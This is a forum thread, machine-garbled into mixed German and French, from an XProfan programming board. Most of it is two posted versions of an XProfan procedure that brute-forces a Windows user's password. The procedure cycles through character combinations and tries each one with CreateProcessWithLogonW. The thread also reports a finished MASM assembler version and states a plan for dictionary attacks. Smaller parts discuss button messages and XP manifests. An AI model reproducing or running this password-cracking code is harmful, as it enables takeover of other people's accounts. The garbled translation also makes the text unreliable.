Stammtisch & le café | | | | - page 1 - |
|  | Ha quelqu'un quelque chose genauere données um combien MASM32 plus rapide ist comme Profan? Hat cela la fois quelqu'un getestet? |
| | | | |
| | | | | - page 2 - |
|  | allô Frank...
Besten Dank, qui du dir den Code déjà la fois angesehen la hâte. là habe je mir wirlich quelques Anfängerschnitzer incorporé. - Einen Variablennamen faux geschrieben, - une überflüssige Addition drin, - XP Neuerungen pas attentive, - Variable pas richtig gelöscht
je veux la fois espérer, qui qui Message pour qui Buttonabfrage sous XP sich pas geändert hat (il y a sur jeden le cas Werte dazugekommen) - sonst prends zur Not dans Profan @GETFOCUS. je hätte mir eigentlich penser peut, qui cela so pas klappt => euer Problem avec den ToolTipps sous XP.
qui Fehlermeldung chez CreateProcessWithLogonW était quelque chose komplizierter. si on pas chaque la fois auparavant dien le contenu qui deux letzten paramètre löscht, peux es vorkommen (je pour dem, quoi sonst encore Text im Code steht), qui cet Variablen avec Sinnlosem Code pleine volonté. ils doivent c'est pourquoi chaque la fois avant dem Aufruf qui Funktion sur zéro gesetzt volonté (stand aussi déjà im Voir le texte source).
je veux la fois espérer cela es maintenant aussi chez dir funktioniert et je pas encore plus Mist incorporé habe:
qui Procédure PWCHECK soll dans qui DLL
Proc PWCHECK
Paramètres PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&
1.paramètre=trop startendes Programme
2.paramètre=nom des Users dessen Mot de passe ermittelt volonté soll
3.paramètre=Handle des Abbruchbuttons sur dem Hauptfenster
4.paramètre=quelle Buchstaben comme ersten Buchstaben mettons (large-/Kleinschreibung)?
5.paramètre=quelle Buchstaben pour qui anderen Buchstaben im mot mettons (Kleinschreibung)
6.paramètre=Mot de passe, si déjà bekannt
7.paramètre=wohin soll cela Mot de passe ausgegeben volonté?
8.paramètre=Anzahl qui durchzurechnenden Buchstaben
DECLARE COUNT%,Zähler%[41]
Déclarer BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
Déclarer ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
Déclarer lpStartupinfo#,lpProcessInformation#
Déclarer PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
Déclarer Anfangszeichen#,marque#,PLUS%
DIM DOMAINN#,256
DIM SIDT#,4
DIM SIDS#,4
DIM DNSize#,4
DIM SIDAN#,800
DIM PHTOKEN#,4
Faible lpStartupInfo#,68
Faible lpProcessInformation#,16
DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
DIM PPASSWORT#,256
DIM Anfangszeichen#,300
DIM marque#,300
chez qui LSA besonders important - alle Variablen avec zéro füllen
Claire DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
Claire PPROGRAMM#,PPASSWORT#,Anfangszeichen#,marque#
@Externe("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
@Externe("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Cordes volonté dans Bereiche geschrieben
String Anfangszeichen#,0=Anfangszeichen$
String marque#,0=Zeichen_im_Wort$
LONG DNSize#,0=256
LONG SIDS#,0=800
dans cet API stecke je Usernamen et bekomme qui Domain et den SID heraus
@Externe("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
LET NDOMAIN$=@STRING$(DOMAINN#,0)
je brauche une Unicode String et dimensioniere qui Variable pour den Domain String entsprechend
DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
LET StartZeit$=@TIME$(0) peux peut-être weg
LET STARTDATUM$=@DATE$(0) peux peut-être weg
DIM PW#,256
CLEAR PW#
LET COUNT%=0
je wandele ici qui Cordes dans Unicode Cordes um
LET ACP&=@EXTERNAL("kernel32","GetACP")
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
LET Zähler%[0]=1
LET COUNT%=0
LET BYTE%=0
Long lpStartupInfo#,0=68
WHILENOT ENDE%
SET("Fastmode",0) Streichen
quarante Buchstaben reicht
IF COUNT%>Buchstabenanzahl&
LET ENDE%=1
endif
si im Hauptfenster Abbruch gedrückt wurde soll finissez volonté
IF @sendmessage(Button&,$00F2,0,0)=108
Messagebox wäre joli, doit mais pas son
LET PANTWORT%=@MESSAGEBOX("Test est sich im Augenblick chez "+@STRING$(pw#,0)+".
Test wurde am "+STARTDATUM$+" um "+StartZeit$+" gestartet.»voulons vous den Test wirklich démolir?",292)
CASE PANTWORT%=6 : LET ENDE%=1
ENDIF
SET("Fastmode",1)
Alle möglichen Bustabenkombinationen devoir durchgegangen volonté
IF PWWORT$=»
IF Count%=0
LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)
d'autre
LET BYTE%=@BYTE(marque#,Zähler%[COUNT%]-1)
endif
IF BYTE%=0
WHILE BYTE%=0
LET Zähler%[COUNT%]=1
BYTE pw#,COUNT%=Zähler%[COUNT%]
INC COUNT%
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
LET BYTE%=@BYTE(marque#,Zähler%[COUNT%]-1)
WEND
d'autre
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
endif
BYTE pw#,COUNT%=BYTE%
ELSE
String pw#,0=PWWORT$
LET ENDE%=1
endif
LET PW2$=@STRING$(pw#,0)
LET COUNT%=0
je brauche wieder une Unicode String
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
qui Funktion gibt seulement 1 zurück, si cela Mot de passe richtig était
SET("Fastmode",0)
@Externe("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
@Externe("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Long lpStartupInfo#,0=68
LET FERGEBNIS&=@Externe("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)
IF FERGEBNIS&=1
LET ENDE%=1
LET PW$=@STRING$(PW#,0)
ENDIF
Wend
SET("Fastmode",0)
DISPOSE PW#
DISPOSE DOMAINN#
DISPOSE SIDT#
DISPOSE DNSize#
DISPOSE SIDAN#
DISPOSE PHTOKEN#
DISPOSE SIDS#
DISPOSE lpStartupInfo#
DISPOSE lpProcessInformation#
Settext Ausgabefenster&,PW$
ENDPROC
cela soll pas dans qui DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Déclarer Button&,EDIT&,START&,IN$
LET EDIT&=@CREATEEDIT(%HWND,»,20,20,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0
Whilenot @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)
Waitinput
WEND
Enablewindow Edit&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz","ßäöüabcdefghijklmnopqrstuvwxyz",»,Edit&,7
Usecursor 0
non, es volonté aucun Buchstaben abgehakt sonder toujours wieder gedreht. cela Ganze ist rien d'autre comme Zählen, ici mais pas im Binär-, Octal- ou bien Hexalsystem sonder ici avec 26 jusqu'à maximum 255 unterschiedlichen États pro Stelle. |
| | | | |
| |  Frank Abbing | Hi,
[quote-part:806là4d370]non, es volonté aucun Buchstaben abgehakt sonder toujours wieder gedreht. cela Ganze ist rien d'autre comme Zählen, ici mais pas im Binär-, Octal- ou bien Hexalsystem sonder ici avec 26 jusqu'à maximum 255 unterschiedlichen États pro Stelle.[/quote-part:806là4d370] oui, verstanden.
Dein Progrämmchen findet pour comment avant rien. qui Abbruch-Button hat aussi aucun Wirkung. Hab momentan pas viel Zeit, mais je mach cela Assemblersuchen fertig, si es wieder allez. |
| | | | |
| |  | allô Frank...
tu dois deinen Accountnamen eingeben, pas den Namen, den dir WindowsXP anzeigt. exposition la fois im Dossier Dokunente et Einstellungen pour den là vorhandenen Verzeichnisnamen, ce sont qui sous anderem qui Accountnamen. Aussi J'ai eu encore une falschen paramètre chez MultiByteToWideChar drin. qui 2 doit weg et une 0 rein (je ändere es dessus). ici la fois encore quoi avec Anzeigeoption:
qui Procédure PWCHECK soll dans qui DLL
Proc PWCHECK
Paramètres PPPR$,ANSTRING$,AbbruchbuttonHandle&,AnfangsZeichen$,Zeichen_im_Wort$,PWWORT$,Ausgabefenster&,Buchstabenanzahl&,ANZ&
1.paramètre=trop startendes Programme
2.paramètre=nom des Users dessen Mot de passe ermittelt volonté soll
3.paramètre=Handle des Abbruchbuttons sur dem Hauptfenster
4.paramètre=quelle Buchstaben comme ersten Buchstaben mettons (large-/Kleinschreibung)?
5.paramètre=quelle Buchstaben pour qui anderen Buchstaben im mot mettons (Kleinschreibung)
6.paramètre=Mot de passe, si déjà bekannt
7.paramètre=wohin soll cela Mot de passe ausgegeben volonté?
8.paramètre=Anzahl qui durchzurechnenden Buchstaben
DECLARE COUNT%,Zähler%[41]
Déclarer BYTE%,PW$,PW#,DomainN#,SIDT#,DNSize#,NDomain$,PHTOKEN#,SIDAN#,SIDS#
Déclarer ENDE%,FERGEBNIS&,ACP&,PW2$,MESS%,StartZeit$,StartDatum$,PANTWORT%
Déclarer lpStartupinfo#,lpProcessInformation#
Déclarer PPROGRAMM#,PUSERNAME#,PPASSWORT#,Domainw#
Déclarer Anfangszeichen#,marque#,PLUS%
DIM DOMAINN#,256
DIM SIDT#,4
DIM SIDS#,4
DIM DNSize#,4
DIM SIDAN#,800
DIM PHTOKEN#,4
Faible lpStartupInfo#,68
Faible lpProcessInformation#,16
DIM PPROGRAMM#,(@LEN(PPPR$)*2)+1
DIM PUSERNAME#,(@LEN(ANSTRING$)*2)+1
DIM PPASSWORT#,256
DIM Anfangszeichen#,300
DIM marque#,300
chez qui LSA besonders important - alle Variablen avec zéro füllen
Claire DOMAINN#,SIDT#,DNSize#,SIDAN#,PHTOKEN#
Claire PPROGRAMM#,PPASSWORT#,Anfangszeichen#,marque#
@Externe("Kernel32","RtlZeroMemory",lpProcessInformation#,16)
@Externe("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Cordes volonté dans Bereiche geschrieben
String Anfangszeichen#,0=Anfangszeichen$
String marque#,0=Zeichen_im_Wort$
LONG DNSize#,0=256
LONG SIDS#,0=800
dans cet API stecke je Usernamen et bekomme qui Domain et den SID heraus
@Externe("advapi32","LookupAccountNameA",0,@ADDR(ANSTRING$),SIDAN#,SIDS#,DomainN#,DNSize#,SIDT#)
LET NDOMAIN$=@STRING$(DOMAINN#,0)
je brauche une Unicode String et dimensioniere qui Variable pour den Domain String entsprechend
DIM Domainw#,(@LEN(NDOMAIN$)*2)+1
DIM PW#,256
CLEAR PW#
LET COUNT%=0
je wandele ici qui Cordes dans Unicode Cordes um
LET ACP&=@EXTERNAL("kernel32","GetACP")
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PPPR$),-1,PPROGRAMM#,(@LEN(PPPR$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(NDomain$),-1,Domainw#,(@LEN(NDomain$)*2)+1)
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(ANSTRING$),-1,PUSERNAME#,(@LEN(ANSTRING$)*2)+1)
LET Zähler%[0]=1
LET COUNT%=0
LET BYTE%=0
Long lpStartupInfo#,0=68
WHILENOT ENDE%
SET("Fastmode",0)
IF @or(@sendmessage(Button&,$00F2,0,0)=108,COUNT%>Buchstabenanzahl&)
LET ENDE%=1
ENDIF
SET("Fastmode",1)
IF PWWORT$=»
IF Count%=0
LET BYTE%=@BYTE(Anfangszeichen#,Zähler%[COUNT%]-1)
d'autre
LET BYTE%=@BYTE(marque#,Zähler%[COUNT%]-1)
endif
IF BYTE%=0
WHILE BYTE%=0
LET Zähler%[COUNT%]=1
BYTE pw#,COUNT%=Zähler%[COUNT%]
INC COUNT%
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
LET BYTE%=@BYTE(marque#,Zähler%[COUNT%]-1)
WEND
d'autre
LET Zähler%[COUNT%]=Zähler%[COUNT%]+1
endif
BYTE pw#,COUNT%=BYTE%
ELSE
String pw#,0=PWWORT$
LET ENDE%=1
endif
LET PW2$=@STRING$(pw#,0)
LET COUNT%=0
@EXTERNAL("kernel32","MultiByteToWideChar",ACP&,0,@addr(PW2$),-1,PPASSWORT#,256)
CASE @Getcheck(Anz&) : SETTEXT Ausgabefenster&,PW2$
@Externe("Kernel32","RtlZeroMemory",lpStartupinfo#,68)
Long lpStartupInfo#,0=68
LET FERGEBNIS&=@Externe("advapi32","CreateProcessWithLogonW",PUSERNAME#,Domainw#,PPASSWORT#,0,0,PPROGRAMM#,0,0,0,lpStartupInfo#,lpProcessInformation#)
IF FERGEBNIS&=1
LET ENDE%=1
LET PW$=@STRING$(PW#,0)
ENDIF
Wend
SET("Fastmode",0)
DISPOSE PW#
DISPOSE DOMAINN#
DISPOSE SIDT#
DISPOSE DNSize#
DISPOSE SIDAN#
DISPOSE PHTOKEN#
DISPOSE SIDS#
DISPOSE lpStartupInfo#
DISPOSE lpProcessInformation#
Settext Ausgabefenster&,PW$
ENDPROC
cela soll pas dans qui DLL
WINDOWSTYLE 31+512
WINDOWTITLE "Passworttest"
WINDOW 0,0-640,440
Déclarer Button&,EDIT&,START&,IN$,BA&,BI&,Ausgabe&,Anzeigen&
LET EDIT&=@CREATEEDIT(%HWND,»,20,20,200,20)
LET Ba&=@CREATEEDIT(%HWND,"ABCDEFGHIHKLMNOPQRSTUVWXYZÄÖÜßäöüabcdefghijklmnopqrstuvwxyz",20,50,200,20)
LET Bi&=@CREATEEDIT(%HWND,"ßäöüabcdefghijklmnopqrstuvwxyz",20,80,200,20)
LET Anzeigen&=@CREATECheckbox(%HWND,"Verlauf Anzeigen",20,110,200,20)
LET Ausgabe&=@CREATEText(%HWND,»,20,150,200,20)
LET Start&=@CREATEBUTTON(%HWND,"Start",20,300,150,30)
LET Button&=@CREATEBUTTON(%HWND,"Abbruch",200,300,150,30)
Enablewindow Button&,0
Whilenot @or(@sendmessage(Start&,$00F2,0,0)=108,%MENUITEM=-2)
Waitinput
Cas %MENUITEM=-2 : FIN
WEND
Enablewindow Edit&,0
Enablewindow Ba&,0
Enablewindow Bi&,0
Enablewindow Start&,0
Enablewindow Button&,1
LET IN$=@GETTEXT$(EDIT&)
Usecursor 2
Localiser 20,0
Imprimer "Funktion wurde am "+@Date$(1)+" um "+@TIME$(0)+" montre gestartet..."
PWCHECK @shortname$($WINPATH+"Notepad.EXE"),IN$,Button&,@GetText $(Ba&),@GetText $(Bi&),»,Ausgabe&,7,Anzeigen&
Usecursor 0
Waitinput
|
| | | | |
| |  | ah oui...
BUTTON :roll:
en supplément la fois un Test:
cls
Déclarer Button&
Laisser Button&=@createbutton(%HWND,"OK",10,10,100,30)
Tandis que 0=0
Drawtext 0,100,@str$(@sendmessage(Button&,$00F2,0,0))+" "
sleep 10
Wend
qui Message Fragt den Status des Buttons ab. Folgende Werte gibt vous chez mir zurück: - Button pas gedrückt=0 - Mauscursor liegt sur Button=keine Changement - Button gedrückt=108 - Concentrer liegt sur Button=8 - Concentrer liegt pas sur Button=0
j'ai den le doute cela XProfan avec Manifest ici autre et encore plus Werte zurückgiebt. si oui, pourrait cela aussi qui Grund pour cela Tooltipp Problem sous XP son...  |
| | | | |
| |  Frank Abbing | Hi,
mais qui Tooltippgeschichte wird doch de Windows verwaltet... |
| | | | |
| |  | [quote-part:c026f5ab54] mais qui Tooltippgeschichte wird doch de Windows verwaltet... [/quote-part:c026f5ab54] qui Status des Buttons doch aussi, ou bien? je vais la fois entier stark en aus, qui qui Status des Buttons, si il encore pas gedrückt wurde et qui Mauscursor sur ihm ruht pas 512 ist - ist cela richtig? oui c'est ca là liegt wohl cela Problem avec den Tooltipps - je kanns malheureusement pas testen, mais je denke je hab droite.
PS: Entfern cela Manifest et mon Voir le texte source fonctionne. |
| | | | |
| |  Frank Abbing | Hi,
Du irrst toi. il ist ensuite 512. comment déjà geschrieben  Hab den MASM-Code fertig et Poste ihn juste. |
| | | | |
| |  Frank Abbing | Hi,
so, ici cela Testprogramm. Passwörter doit Großbuchstaben son. qui Zeiten zum Errechnen decken sich avec den Werten de qui Webpage, qui iF ici posté hatte, pour 26il Passwörter.
qui Assemblercode ist encore pas optimiert et benutzt zum comparaison qui Cordes qui API lstrcmp(), qui mais très vite arbeitet. |
| | | | |
| | | | - page 3 - |
| |  Rolf Koch | Hi AH,
[quote-part:2bf116être6f] Entfern cela Manifest et mon Voir le texte source fonctionne [/quote-part:2bf116être6f] Um Gottes Willen - weist Du eigentlich comment schäbig cela vieille Design de Windows aussieht, si on de Win 9x sur XP umgestiegen ist. dans meinen Augen ist qui Manifest une qui wichtigen Dinge qui Windows Neuerungen.
je lach mich tot, si je aujourd'hui qui globigen viereckigen langweiligen Buttons vois. Gibt designtechnisch nix schlimmeres.
Aufm MAC était cela auparavant déjà plus beau. Flach et Hovermässig. Frisch comment ici qui Community.
Rolf |
| | | | |
| |  | Hallöchen Rolf...
je denke la fois, on sollte sich zumindestens très oui c'est ca avec cela auseinandersetzen quoi là oui c'est ca verbogen wird - et comment on ici sieht sembler cela entier grundlegende Sachen trop son... |
| | | | |
| |  Rolf Koch | ... là gebe je Dir naturellement absolu droite, AH. j'ai es oui seulement aus Sicht des Designs et pas aus Sicht des Ablaufs gesehen. Ist arrêt tant pis, qui qui Manifest aussi autre Messages auslöst.
Rolf |
| | | | |
| |  | allô Frank...
Besten Dank pour deine Test DLL. cela était oui c'est ca cela, quoi je seulement einmal gebraucht habe. on pourrait alors jusqu'à zum fünften Buchstaben sur une MASM DLL aller et après cela Mot de passe avec Wörtern aus einem Wörterbuch beschießen. j'ai maintenant quelque chose länger Fortbildung et Nachtschicht, après werde je mich moins un Programme begeben, cela mir automatisch Wörter pour cet Wörterbuch sammelt.
@Rolf: quoi nützt cela schönste Design si Buttons, Tooltipps et Groupboxes pas plus marcher weil qui Rückgaben de Messages simple déménagé volonté? |
| | | | |
|
répondreOptions du sujet | 25.781 Views |
Themeninformationencet Thema hat 4 participant: |